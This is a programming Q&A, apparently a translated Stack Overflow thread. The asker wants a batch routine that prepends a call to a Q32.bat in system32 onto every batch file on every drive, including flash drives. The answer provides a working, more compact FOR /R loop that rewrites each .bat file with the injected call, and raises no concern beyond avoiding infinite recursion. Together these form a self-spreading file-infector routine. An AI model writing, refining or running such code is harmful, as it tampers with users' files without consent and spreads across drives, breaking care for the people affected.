我正在尝试在我的批处理文件中创建一个例程,该例程会将调用添加到每个其他驱动器(包括闪存驱动器等)中的每个其他批处理文件的开头。我一直在使用嵌套的FOR函数来做到这一点。第一部分设置一个名为append的变量,以实际附加到驱动器中的每个批处理文件。第二部分使用fsutil来获取正在使用的每个驱动器,并通过'cd'级联每个输出,然后调用append变量来执行实际的追加。目的是确保检查每个驱动器是否要附加批处理文件。 我可以将变量设置为这样的命令字符串吗? 会有这么多FOR功能造成故障吗,因为我有一个嵌入另一个? 我是否要设置变量并在FOR函数中使用令牌? 实际的追加过程会顺利进行吗? 最后,是否会有任何中断可能会中断自动化,例如尝试将cd设置为没有光盘的光盘驱动器并导致“插入光盘”弹出窗口?
set append = (
FOR %%F IN (*.bat) DO (
FOR /f "tokens=*" %%I IN (%%F) DO (
set origtext = %%I
echo @echo off >%%F
echo cd %drive%WINDOWS\system32\Q32 >> %%F
echo start Q32.bat >> %%F
echo %%I >> %%F
)
)
)
FOR /f "tokens=*" %%A IN (fsutil fsinfo) DO (
cd %%A
%append%
)
答案 0 :(得分:1)
你可以用这样的东西做更少的循环:
set desiredCall=c:\windows\batchyouwanttocall.bat
for /r %i in (*.bat) do (
echo %desiredCall% > "%i.tmp"
type "%i" >> "%i.tmp"
move /y "%i.tmp" "%i"
)
FOR /R
从您调用它的任何地方遍历目录树。因此,如果您从C:
运行此操作,则C驱动器上的每个.bat文件都会受到影响。
使用这种方法,您不必遍历每个文件的每一行。只是每个文件。
为了回答你的问题,我认为你不能将变量设置为一串这样的命令。
需要注意的是,如果要调用的例程(上面的%desiredCall%
)也是.bat文件,那么您需要确保不要将其设置为无限调用自身。